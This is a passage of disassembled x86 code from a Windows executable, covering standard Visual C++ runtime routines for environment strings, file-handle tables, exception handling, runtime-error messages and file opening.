		jnz	short loc_423B1B
		call	ebp	; GetEnvironmentStringsW
		mov	esi, eax
		cmp	esi, ebx
		jz	loc_423BDD


loc_423B1B:				; CODE XREF: sub_423AB4+59j
		cmp	[esi], bx
		mov	eax, esi
		jz	short loc_423B30


loc_423B22:				; CODE XREF: sub_423AB4+73j
					; sub_423AB4+7Aj
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_423B22
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_423B22


loc_423B30:				; CODE XREF: sub_423AB4+6Cj
		sub	eax, esi
		mov	edi, dword_428180
		sar	eax, 1
		push	ebx
		push	ebx
		inc	eax
		push	ebx
		push	ebx
		push	eax
		push	esi
		push	ebx
		push	ebx
		mov	[esp+38h+var_4], eax
		call	edi	; WideCharToMultiByte
		mov	ebp, eax
		cmp	ebp, ebx
		jz	short loc_423B81
		push	ebp
		call	sub_41BCA5
		cmp	eax, ebx
		pop	ecx
		mov	[esp+18h+var_8], eax
		jz	short loc_423B81
		push	ebx
		push	ebx
		push	ebp
		push	eax
		push	[esp+28h+var_4]
		push	esi
		push	ebx
		push	ebx
		call	edi	; WideCharToMultiByte
		test	eax, eax
		jnz	short loc_423B7D
		push	[esp+18h+var_8]
		call	sub_41B881
		pop	ecx
		mov	[esp+18h+var_8], ebx


loc_423B7D:				; CODE XREF: sub_423AB4+B9j
		mov	ebx, [esp+18h+var_8]


loc_423B81:				; CODE XREF: sub_423AB4+99j
					; sub_423AB4+A8j
		push	esi
		call	dword_428044	; FreeEnvironmentStringsW
		mov	eax, ebx
		jmp	short loc_423BDF
; ---------------------------------------------------------------------------


loc_423B8C:				; CODE XREF: sub_423AB4+51j
		cmp	eax, 2
		jnz	short loc_423BDD


loc_423B91:				; CODE XREF: sub_423AB4+49j
		cmp	edi, ebx
		jnz	short loc_423BA1
		call	dword_428040	; GetEnvironmentStringsA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_423BDD


loc_423BA1:				; CODE XREF: sub_423AB4+DFj
		cmp	[edi], bl
		mov	eax, edi
		jz	short loc_423BB1


loc_423BA7:				; CODE XREF: sub_423AB4+F6j
					; sub_423AB4+FBj
		inc	eax
		cmp	[eax], bl
		jnz	short loc_423BA7
		inc	eax
		cmp	[eax], bl
		jnz	short loc_423BA7


loc_423BB1:				; CODE XREF: sub_423AB4+F1j
		sub	eax, edi
		inc	eax
		mov	ebp, eax
		push	ebp
		call	sub_41BCA5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_423BC7
		xor	esi, esi
		jmp	short loc_423BD2
; ---------------------------------------------------------------------------


loc_423BC7:				; CODE XREF: sub_423AB4+10Dj
		push	ebp
		push	edi
		push	esi
		call	near ptr sub_41CAE0
		add	esp, 0Ch


loc_423BD2:				; CODE XREF: sub_423AB4+111j
		push	edi
		call	dword_428048	; FreeEnvironmentStringsA
		mov	eax, esi
		jmp	short loc_423BDF
; ---------------------------------------------------------------------------


loc_423BDD:				; CODE XREF: sub_423AB4+39j
					; sub_423AB4+61j ...
		xor	eax, eax


loc_423BDF:				; CODE XREF: sub_423AB4+D6j
					; sub_423AB4+127j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		pop	ecx
		retn
sub_423AB4	endp


; =============== S U B	R O U T	I N E =======================================



sub_423BE6	proc near		; CODE XREF: .packed:0041E1A2p

var_44		= byte ptr -44h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h

		sub	esp, 44h
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	100h
		call	sub_41BCA5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_423C06
		push	1Bh
		call	sub_41E229
		pop	ecx


loc_423C06:				; CODE XREF: sub_423BE6+16j
		mov	dword_4DE360, esi
		mov	dword_4DE460, 20h
		lea	eax, [esi+100h]


loc_423C1C:				; CODE XREF: sub_423BE6+52j
		cmp	esi, eax
		jnb	short loc_423C3A
		and	byte ptr [esi+4], 0
		or	dword ptr [esi], 0FFFFFFFFh
		mov	byte ptr [esi+5], 0Ah
		mov	eax, dword_4DE360
		add	esi, 8
		add	eax, 100h
		jmp	short loc_423C1C
; ---------------------------------------------------------------------------


loc_423C3A:				; CODE XREF: sub_423BE6+38j
		lea	eax, [esp+54h+var_44]
		push	eax
		call	dword_4281AC	; GetStartupInfoA
		cmp	word ptr [esp+54h+var_14+2], 0
		jz	loc_423D16
		mov	eax, [esp+54h+var_10]
		test	eax, eax
		jz	loc_423D16
		mov	esi, [eax]
		lea	ebp, [eax+4]
		mov	eax, 800h
		cmp	esi, eax
		lea	ebx, [esi+ebp]
		jl	short loc_423C70
		mov	esi, eax


loc_423C70:				; CODE XREF: sub_423BE6+86j
		cmp	dword_4DE460, esi
		jge	short loc_423CCA
		mov	edi, offset dword_4DE364


loc_423C7D:				; CODE XREF: sub_423BE6+DAj
		push	100h
		call	sub_41BCA5
		test	eax, eax
		pop	ecx
		jz	short loc_423CC4
		add	dword_4DE460, 20h
		mov	[edi], eax
		lea	ecx, [eax+100h]


loc_423C9B:				; CODE XREF: sub_423BE6+CFj
		cmp	eax, ecx
		jnb	short loc_423CB7
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	ecx, [edi]
		add	eax, 8
		add	ecx, 100h
		jmp	short loc_423C9B
; ---------------------------------------------------------------------------


loc_423CB7:				; CODE XREF: sub_423BE6+B7j
		add	edi, 4
		cmp	dword_4DE460, esi
		jl	short loc_423C7D
		jmp	short loc_423CCA
; ---------------------------------------------------------------------------


loc_423CC4:				; CODE XREF: sub_423BE6+A4j
		mov	esi, dword_4DE460


loc_423CCA:				; CODE XREF: sub_423BE6+90j
					; sub_423BE6+DCj
		xor	edi, edi
		test	esi, esi
		jle	short loc_423D16


loc_423CD0:				; CODE XREF: sub_423BE6+12Ej
		mov	eax, [ebx]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_423D0D
		mov	cl, [ebp+0]
		test	cl, 1
		jz	short loc_423D0D
		test	cl, 8
		jnz	short loc_423CEF
		push	eax
		call	dword_428030	; GetFileType
		test	eax, eax
		jz	short loc_423D0D


loc_423CEF:				; CODE XREF: sub_423BE6+FCj
		mov	eax, edi
		mov	ecx, edi
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4DE360[eax*4]
		lea	eax, [eax+ecx*8]
		mov	ecx, [ebx]
		mov	[eax], ecx
		mov	cl, [ebp+0]
		mov	[eax+4], cl


loc_423D0D:				; CODE XREF: sub_423BE6+EFj
					; sub_423BE6+F7j ...
		inc	edi
		inc	ebp
		add	ebx, 4
		cmp	edi, esi
		jl	short loc_423CD0


loc_423D16:				; CODE XREF: sub_423BE6+65j
					; sub_423BE6+71j ...
		xor	ebx, ebx


loc_423D18:				; CODE XREF: sub_423BE6+195j
		mov	eax, dword_4DE360
		cmp	dword ptr [eax+ebx*8], 0FFFFFFFFh
		lea	esi, [eax+ebx*8]
		jnz	short loc_423D73
		test	ebx, ebx
		mov	byte ptr [esi+4], 81h
		jnz	short loc_423D33
		push	0FFFFFFF6h
		pop	eax
		jmp	short loc_423D3D
; ---------------------------------------------------------------------------


loc_423D33:				; CODE XREF: sub_423BE6+146j
		mov	eax, ebx
		dec	eax
		neg	eax
		sbb	eax, eax
		add	eax, 0FFFFFFF5h


loc_423D3D:				; CODE XREF: sub_423BE6+14Bj
		push	eax
		call	dword_428034	; GetStdHandle
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_423D62
		push	edi
		call	dword_428030	; GetFileType
		test	eax, eax
		jz	short loc_423D62
		and	eax, 0FFh
		mov	[esi], edi
		cmp	eax, 2
		jnz	short loc_423D68


loc_423D62:				; CODE XREF: sub_423BE6+163j
					; sub_423BE6+16Ej
		or	byte ptr [esi+4], 40h
		jmp	short loc_423D77
; ---------------------------------------------------------------------------


loc_423D68:				; CODE XREF: sub_423BE6+17Aj
		cmp	eax, 3
		jnz	short loc_423D77
		or	byte ptr [esi+4], 8
		jmp	short loc_423D77
; ---------------------------------------------------------------------------


loc_423D73:				; CODE XREF: sub_423BE6+13Ej
		or	byte ptr [esi+4], 80h


loc_423D77:				; CODE XREF: sub_423BE6+180j
					; sub_423BE6+185j ...
		inc	ebx
		cmp	ebx, 3
		jl	short loc_423D18
		push	dword_4DE460
		call	dword_428038	; SetHandleCount
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 44h
		retn
sub_423BE6	endp

; ---------------------------------------------------------------------------
		align 4
		push	esi
		inc	ebx
		xor	dh, [eax]
		pop	eax
		inc	ebx
		xor	[eax], dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423D9C	proc near		; DATA XREF: .packed:0041E13Do
					; sub_42285D+Ao ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		cld
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		test	dword ptr [eax+4], 6
		jnz	loc_423E3C
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]


loc_423DCF:				; CODE XREF: sub_423D9C+90j
		cmp	esi, 0FFFFFFFFh
		jz	short loc_423E35
		lea	ecx, [esi+esi*2]
		cmp	dword ptr [edi+ecx*4+4], 0
		jz	short loc_423E23
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		call	dword ptr [edi+ecx*4+4]
		pop	ebp
		pop	esi
		mov	ebx, [ebp+arg_4]
		or	eax, eax
		jz	short loc_423E23
		js	short loc_423E2E
		mov	edi, [ebx+8]
		push	ebx
		call	sub_41D344
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_41D386
		add	esp, 8
		lea	ecx, [esi+esi*2]
		push	1
		mov	eax, [edi+ecx*4+8]
		call	sub_41D41A
		mov	eax, [edi+ecx*4]
		mov	[ebx+0Ch], eax
		call	dword ptr [edi+ecx*4+8]


loc_423E23:				; CODE XREF: sub_423D9C+40j
					; sub_423D9C+52j
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	short loc_423DCF
; ---------------------------------------------------------------------------


loc_423E2E:				; CODE XREF: sub_423D9C+54j
		mov	eax, 0
		jmp	short loc_423E51
; ---------------------------------------------------------------------------


loc_423E35:				; CODE XREF: sub_423D9C+36j
		mov	eax, 1
		jmp	short loc_423E51
; ---------------------------------------------------------------------------


loc_423E3C:				; CODE XREF: sub_423D9C+18j
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_41D386
		add	esp, 8
		pop	ebp
		mov	eax, 1


loc_423E51:				; CODE XREF: sub_423D9C+97j
					; sub_423D9C+9Ej
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_423D9C	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ecx, [esp+8]
		mov	ebp, [ecx]
		mov	eax, [ecx+1Ch]
		push	eax
		mov	eax, [ecx+18h]
		push	eax
		call	sub_41D386
		add	esp, 8
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_423E74	proc near		; CODE XREF: sub_41E229+9p
					; sub_41E24E+9p
		mov	eax, dword_4DE0A8
		cmp	eax, 1
		jz	short loc_423E8B
		test	eax, eax
		jnz	short locret_423EAC
		cmp	dword_43CFB4, 1
		jnz	short locret_423EAC


loc_423E8B:				; CODE XREF: sub_423E74+8j
		push	0FCh
		call	sub_423EAD
		mov	eax, dword_4DE218
		pop	ecx
		test	eax, eax
		jz	short loc_423EA1
		call	eax


loc_423EA1:				; CODE XREF: sub_423E74+29j
		push	0FFh
		call	sub_423EAD
		pop	ecx

locret_423EAC:				; CODE XREF: sub_423E74+Cj
					; sub_423E74+15j
		retn
sub_423E74	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423EAD	proc near		; CODE XREF: sub_41E229+12p
					; sub_41E24E+12p ...

var_1A4		= byte ptr -1A4h
var_A0		= byte ptr -0A0h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1A4h
		mov	edx, [ebp+arg_0]
		xor	ecx, ecx
		mov	eax, offset dword_43F8C8


loc_423EC0:				; CODE XREF: sub_423EAD+20j
		cmp	edx, [eax]
		jz	short loc_423ECF
		add	eax, 8
		inc	ecx
		cmp	eax, offset dword_43F958
		jl	short loc_423EC0


loc_423ECF:				; CODE XREF: sub_423EAD+15j
		push	esi
		mov	esi, ecx
		shl	esi, 3
		cmp	edx, dword_43F8C8[esi]
		jnz	loc_423FFD
		mov	eax, dword_4DE0A8
		cmp	eax, 1
		jz	loc_423FD7
		test	eax, eax
		jnz	short loc_423F00
		cmp	dword_43CFB4, 1
		jz	loc_423FD7


loc_423F00:				; CODE XREF: sub_423EAD+44j
		cmp	edx, 0FCh
		jz	loc_423FFD
		lea	eax, [ebp+var_1A4]
		push	104h
		push	eax
		push	0
		call	dword_428074	; GetModuleFileNameA
		test	eax, eax
		jnz	short loc_423F37
		lea	eax, [ebp+var_1A4]
		push	offset aProgramNameUnk ; "<program name	unknown>"
		push	eax
		call	sub_41C680
		pop	ecx
		pop	ecx


loc_423F37:				; CODE XREF: sub_423EAD+75j
		lea	eax, [ebp+var_1A4]
		push	edi
		push	eax
		lea	edi, [ebp+var_1A4]
		call	sub_41B7B0
		inc	eax
		pop	ecx
		cmp	eax, 3Ch
		jbe	short loc_423F7A
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_41B7B0
		mov	edi, eax
		lea	eax, [ebp+var_1A4]
		sub	eax, 3Bh
		push	3
		add	edi, eax
		push	offset a___	; "..."
		push	edi
		call	sub_41BDC0
		add	esp, 10h


loc_423F7A:				; CODE XREF: sub_423EAD+A2j
		lea	eax, [ebp+var_A0]
		push	offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
		push	eax
		call	sub_41C680
		lea	eax, [ebp+var_A0]
		push	edi
		push	eax
		call	sub_41C690
		lea	eax, [ebp+var_A0]
		push	offset asc_428C18 ; "\n\n"
		push	eax
		call	sub_41C690
		push	off_43F8CC[esi]
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41C690
		push	12010h
		lea	eax, [ebp+var_A0]
		push	offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
		push	eax
		call	sub_4256B1
		add	esp, 2Ch
		pop	edi
		jmp	short loc_423FFD
; ---------------------------------------------------------------------------


loc_423FD7:				; CODE XREF: sub_423EAD+3Cj
					; sub_423EAD+4Dj
		lea	eax, [ebp+arg_0]
		lea	esi, off_43F8CC[esi]
		push	0
		push	eax
		push	dword ptr [esi]
		call	sub_41B7B0
		pop	ecx
		push	eax
		push	dword ptr [esi]
		push	0FFFFFFF4h
		call	dword_428034	; GetStdHandle
		push	eax
		call	dword_4280E0	; WriteFile


loc_423FFD:				; CODE XREF: sub_423EAD+2Ej
					; sub_423EAD+59j ...
		pop	esi
		leave
		retn
sub_423EAD	endp


; =============== S U B	R O U T	I N E =======================================



sub_424000	proc near		; CODE XREF: sub_42425E:loc_4243D6p
		push	ebx
		push	esi
		push	edi
		or	ebx, 0FFFFFFFFh
		xor	edi, edi
		xor	esi, esi
		mov	ecx, offset dword_4DE360


loc_42400F:				; CODE XREF: sub_424000+48j
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_42404C
		lea	edx, [eax+100h]


loc_42401B:				; CODE XREF: sub_424000+28j
		cmp	eax, edx
		jnb	short loc_42403B
		test	byte ptr [eax+4], 1
		jz	short loc_42402A
		add	eax, 8
		jmp	short loc_42401B
; ---------------------------------------------------------------------------


loc_42402A:				; CODE XREF: sub_424000+23j
		or	dword ptr [eax], 0FFFFFFFFh
		sub	eax, [ecx]
		sar	eax, 3
		add	eax, esi
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_42408F


loc_42403B:				; CODE XREF: sub_424000+1Dj
		add	ecx, 4
		inc	edi
		add	esi, 20h
		cmp	ecx, offset dword_4DE460
		jl	short loc_42400F
		jmp	short loc_42408F
; ---------------------------------------------------------------------------


loc_42404C:				; CODE XREF: sub_424000+13j
		mov	esi, 100h
		push	esi
		call	sub_41BCA5
		test	eax, eax
		pop	ecx
		jz	short loc_42408F
		add	dword_4DE460, 20h
		lea	ecx, ds:4DE360h[edi*4]
		lea	edx, [eax+100h]
		mov	[ecx], eax


loc_424072:				; CODE XREF: sub_424000+88j
		cmp	eax, edx
		jnb	short loc_42408A
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	edx, [ecx]
		add	eax, 8
		add	edx, esi
		jmp	short loc_424072
; ---------------------------------------------------------------------------


loc_42408A:				; CODE XREF: sub_424000+74j
		shl	edi, 5
		mov	ebx, edi


loc_42408F:				; CODE XREF: sub_424000+39j
					; sub_424000+4Aj ...
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_424000	endp


; =============== S U B	R O U T	I N E =======================================



sub_424095	proc near		; CODE XREF: sub_42425E+1F4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_4DE460
		push	edi
		jnb	short loc_4240F5
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:4DE360h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		cmp	dword ptr [ecx+esi], 0FFFFFFFFh
		jnz	short loc_4240F5
		cmp	dword_43CFB4, 1
		push	ebx
		mov	ebx, [esp+0Ch+arg_4]
		jnz	short loc_4240EB
		sub	eax, 0
		jz	short loc_4240E2
		dec	eax
		jz	short loc_4240DD
		dec	eax
		jnz	short loc_4240EB
		push	ebx
		push	0FFFFFFF4h
		jmp	short loc_4240E5
; ---------------------------------------------------------------------------


loc_4240DD:				; CODE XREF: sub_424095+3Ej
		push	ebx
		push	0FFFFFFF5h
		jmp	short loc_4240E5
; ---------------------------------------------------------------------------


loc_4240E2:				; CODE XREF: sub_424095+3Bj
		push	ebx
		push	0FFFFFFF6h


loc_4240E5:				; CODE XREF: sub_424095+46j
					; sub_424095+4Bj
		call	dword_42802C	; SetStdHandle


loc_4240EB:				; CODE XREF: sub_424095+36j
					; sub_424095+41j
		mov	eax, [edi]
		mov	[eax+esi], ebx
		xor	eax, eax
		pop	ebx
		jmp	short loc_424109
; ---------------------------------------------------------------------------


loc_4240F5:				; CODE XREF: sub_424095+Cj
					; sub_424095+28j
		and	dword_4DE030, 0
		mov	dword_4DE02C, 9
		or	eax, 0FFFFFFFFh


loc_424109:				; CODE XREF: sub_424095+5Ej
		pop	edi
		pop	esi
		retn
sub_424095	endp


; =============== S U B	R O U T	I N E =======================================



sub_42410C	proc near		; CODE XREF: sub_41E272+7Cp

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	esi
		cmp	ecx, dword_4DE460
		push	edi
		jnb	short loc_42416F
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	edi, ds:4DE360h[eax*4]
		shl	esi, 3
		mov	eax, [edi]
		add	eax, esi
		test	byte ptr [eax+4], 1
		jz	short loc_42416F
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_42416F
		cmp	dword_43CFB4, 1
		jnz	short loc_424165
		xor	eax, eax
		sub	ecx, eax
		jz	short loc_42415C
		dec	ecx
		jz	short loc_424157
		dec	ecx
		jnz	short loc_424165
		push	eax
		push	0FFFFFFF4h
		jmp	short loc_42415F
; ---------------------------------------------------------------------------


loc_424157:				; CODE XREF: sub_42410C+41j
		push	eax
		push	0FFFFFFF5h
		jmp	short loc_42415F
; ---------------------------------------------------------------------------


loc_42415C:				; CODE XREF: sub_42410C+3Ej
		push	eax
		push	0FFFFFFF6h


loc_42415F:				; CODE XREF: sub_42410C+49j
					; sub_42410C+4Ej
		call	dword_42802C	; SetStdHandle


loc_424165:				; CODE XREF: sub_42410C+38j
					; sub_42410C+44j
		mov	eax, [edi]
		or	dword ptr [eax+esi], 0FFFFFFFFh
		xor	eax, eax
		jmp	short loc_424183
; ---------------------------------------------------------------------------


loc_42416F:				; CODE XREF: sub_42410C+Cj
					; sub_42410C+2Aj ...
		and	dword_4DE030, 0
		mov	dword_4DE02C, 9
		or	eax, 0FFFFFFFFh


loc_424183:				; CODE XREF: sub_42410C+61j
		pop	edi
		pop	esi
		retn
sub_42410C	endp


; =============== S U B	R O U T	I N E =======================================



sub_424186	proc near		; CODE XREF: sub_41E272+32p
					; sub_41E272+49p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4DE460
		jnb	short loc_4241AE
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4DE360[ecx*4]
		test	byte ptr [ecx+eax*8+4],	1
		lea	eax, [ecx+eax*8]
		jz	short loc_4241AE
		mov	eax, [eax]
		retn
; ---------------------------------------------------------------------------


loc_4241AE:				; CODE XREF: sub_424186+Aj
					; sub_424186+23j
		and	dword_4DE030, 0
		mov	dword_4DE02C, 9
		or	eax, 0FFFFFFFFh
		retn
sub_424186	endp


; =============== S U B	R O U T	I N E =======================================



sub_4241C3	proc near		; CODE XREF: sub_41E350+2Bp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4DE460
		jnb	short loc_42420C
		mov	ecx, eax
		mov	edx, eax
		sar	ecx, 5
		and	edx, 1Fh
		mov	ecx, dword_4DE360[ecx*4]
		test	byte ptr [ecx+edx*8+4],	1
		jz	short loc_42420C
		push	eax
		call	sub_424186
		pop	ecx
		push	eax
		call	dword_428028	; FlushFileBuffers
		test	eax, eax
		jnz	short loc_424201
		call	dword_42808C	; RtlGetLastWin32Error
		jmp	short loc_424203
; ---------------------------------------------------------------------------


loc_424201:				; CODE XREF: sub_4241C3+34j
		xor	eax, eax


loc_424203:				; CODE XREF: sub_4241C3+3Cj
		test	eax, eax
		jz	short locret_424219
		mov	dword_4DE030, eax


loc_42420C:				; CODE XREF: sub_4241C3+Aj
					; sub_4241C3+22j
		mov	dword_4DE02C, 9
		or	eax, 0FFFFFFFFh

locret_424219:				; CODE XREF: sub_4241C3+42j
		retn
sub_4241C3	endp


; =============== S U B	R O U T	I N E =======================================



sub_42421A	proc near		; CODE XREF: sub_41F843+32p
					; sub_41FD8A+6Cp ...

arg_0		= dword	ptr  4

		inc	dword_4DE104
		push	1000h
		call	sub_41BCA5
		pop	ecx
		mov	ecx, [esp+arg_0]
		test	eax, eax
		mov	[ecx+8], eax
		jz	short loc_424243
		or	dword ptr [ecx+0Ch], 8
		mov	dword ptr [ecx+18h], 1000h
		jmp	short loc_424254
; ---------------------------------------------------------------------------


loc_424243:				; CODE XREF: sub_42421A+1Aj
		or	dword ptr [ecx+0Ch], 4
		lea	eax, [ecx+14h]
		mov	[ecx+8], eax
		mov	dword ptr [ecx+18h], 2


loc_424254:				; CODE XREF: sub_42421A+27j
		mov	eax, [ecx+8]
		and	dword ptr [ecx+4], 0
		mov	[ecx], eax
		retn
sub_42421A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42425E	proc near		; CODE XREF: sub_41FB2D+13Fp

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	ecx, [ebp+arg_4]
		push	ebx
		xor	ebx, ebx
		push	esi
		test	cl, 80h
		push	edi
		mov	[ebp+var_1C], 0Ch
		mov	[ebp+var_18], ebx
		jz	short loc_424284
		mov	[ebp+var_14], ebx
		mov	[ebp+var_1], 10h
		jmp	short loc_42428F
; ---------------------------------------------------------------------------


loc_424284:				; CODE XREF: sub_42425E+1Bj
		and	[ebp+var_1], 0
		mov	[ebp+var_14], 1


loc_42428F:				; CODE XREF: sub_42425E+24j
		mov	eax, 8000h
		test	ecx, eax
		jnz	short loc_4242A9
		test	ch, 40h
		jnz	short loc_4242A5
		cmp	dword_4DE328, eax
		jz	short loc_4242A9


loc_4242A5:				; CODE XREF: sub_42425E+3Dj
		or	[ebp+var_1], 80h


loc_4242A9:				; CODE XREF: sub_42425E+38j
					; sub_42425E+45j
		push	3
		mov	eax, ecx
		pop	esi
		and	eax, esi
		sub	eax, ebx
		jz	short loc_4242E1
		dec	eax
		jz	short loc_4242D8
		dec	eax
		jz	short loc_4242CF


loc_4242BA:				; CODE XREF: sub_42425E+9Fj
					; sub_42425E+E8j ...
		mov	dword_4DE02C, 16h
		mov	dword_4DE030, ebx
		jmp	loc_4244F4
; ---------------------------------------------------------------------------


loc_4242CF:				; CODE XREF: sub_42425E+5Aj
		mov	[ebp+var_C], 0C0000000h
		jmp	short loc_4242E8
; ---------------------------------------------------------------------------


loc_4242D8:				; CODE XREF: sub_42425E+57j
		mov	[ebp+var_C], 40000000h
		jmp	short loc_4242E8
; ---------------------------------------------------------------------------


loc_4242E1:				; CODE XREF: sub_42425E+54j
		mov	[ebp+var_C], 80000000h


loc_4242E8:				; CODE XREF: sub_42425E+78j
					; sub_42425E+81j
		mov	eax, [ebp+arg_8]
		cmp	eax, 10h
		jz	short loc_424316
		cmp	eax, 20h
		jz	short loc_42430D
		cmp	eax, 30h
		jz	short loc_424304
		cmp	eax, 40h
		jnz	short loc_4242BA
		mov	[ebp+var_10], esi
		jmp	short loc_424319
; ---------------------------------------------------------------------------


loc_424304:				; CODE XREF: sub_42425E+9Aj
		mov	[ebp+var_10], 2
		jmp	short loc_424319
; ---------------------------------------------------------------------------


loc_42430D:				; CODE XREF: sub_42425E+95j
		mov	[ebp+var_10], 1
		jmp	short loc_424319
; ---------------------------------------------------------------------------


loc_424316:				; CODE XREF: sub_42425E+90j
		mov	[ebp+var_10], ebx


loc_424319:				; CODE XREF: sub_42425E+A4j
					; sub_42425E+ADj ...
		mov	edx, 700h
		mov	eax, 400h
		and	ecx, edx
		mov	edi, 100h
		cmp	ecx, eax
		jg	short loc_424363
		jz	short loc_42435E
		cmp	ecx, ebx
		jz	short loc_42435E
		cmp	ecx, edi
		jz	short loc_424355
		cmp	ecx, 200h
		jz	short loc_42437C
		cmp	ecx, 300h
		jnz	loc_4242BA
		mov	[ebp+var_8], 2
		jmp	short loc_42438C
; ---------------------------------------------------------------------------


loc_424355:				; CODE XREF: sub_42425E+D8j
		mov	[ebp+var_8], 4
		jmp	short loc_42438C
; ---------------------------------------------------------------------------


loc_42435E:				; CODE XREF: sub_42425E+D0j
					; sub_42425E+D4j
		mov	[ebp+var_8], esi
		jmp	short loc_42438C
; ---------------------------------------------------------------------------


loc_424363:				; CODE XREF: sub_42425E+CEj
		cmp	ecx, 500h
		jz	short loc_424385
		cmp	ecx, 600h
		jz	short loc_42437C
		cmp	ecx, edx
		jz	short loc_424385
		jmp	loc_4242BA
; ---------------------------------------------------------------------------


loc_42437C:				; CODE XREF: sub_42425E+E0j
					; sub_42425E+113j
		mov	[ebp+var_8], 5
		jmp	short loc_42438C
; ---------------------------------------------------------------------------


loc_424385:				; CODE XREF: sub_42425E+10Bj
					; sub_42425E+117j
		mov	[ebp+var_8], 1


loc_42438C:				; CODE XREF: sub_42425E+F5j
					; sub_42425E+FEj ...
		mov	eax, [ebp+arg_4]
		mov	esi, 80h
		test	eax, edi
		jz	short loc_4243AB
		mov	ecx, dword_4DE034
		not	ecx
		and	ecx, [ebp+arg_C]
		test	cl, 80h
		jnz	short loc_4243AB
		push	1
		pop	esi


loc_4243AB:				; CODE XREF: sub_42425E+138j
					; sub_42425E+148j
		test	al, 40h
		jz	short loc_4243B9
		or	esi, 4000000h
		or	byte ptr [ebp+var_C+2],	1


loc_4243B9:				; CODE XREF: sub_42425E+14Fj
		test	ah, 10h
		jz	short loc_4243C0
		or	esi, edi


loc_4243C0:				; CODE XREF: sub_42425E+15Ej
		test	al, 20h
		jz	short loc_4243CC
		or	esi, 8000000h
		jmp	short loc_4243D6
; ---------------------------------------------------------------------------


loc_4243CC:				; CODE XREF: sub_42425E+164j
		test	al, 10h
		jz	short loc_4243D6
		or	esi, 10000000h


loc_4243D6:				; CODE XREF: sub_42425E+16Cj
					; sub_42425E+170j
		call	sub_424000
		mov	ebx, eax
		or	edi, 0FFFFFFFFh
		cmp	ebx, edi
		jnz	short loc_4243F7
		and	dword_4DE030, 0
		mov	dword_4DE02C, 18h
		jmp	short loc_424435
; ---------------------------------------------------------------------------


loc_4243F7:				; CODE XREF: sub_42425E+184j
		push	0
		push	esi
		push	[ebp+var_8]
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_C]
		push	[ebp+arg_0]
		call	dword_4280EC	; CreateFileA
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_424428
		push	esi
		call	dword_428030	; GetFileType
		test	eax, eax
		jnz	short loc_42443C
		push	esi
		call	dword_42806C	; CloseHandle


loc_424428:				; CODE XREF: sub_42425E+1B6j
		call	dword_42808C	; RtlGetLastWin32Error
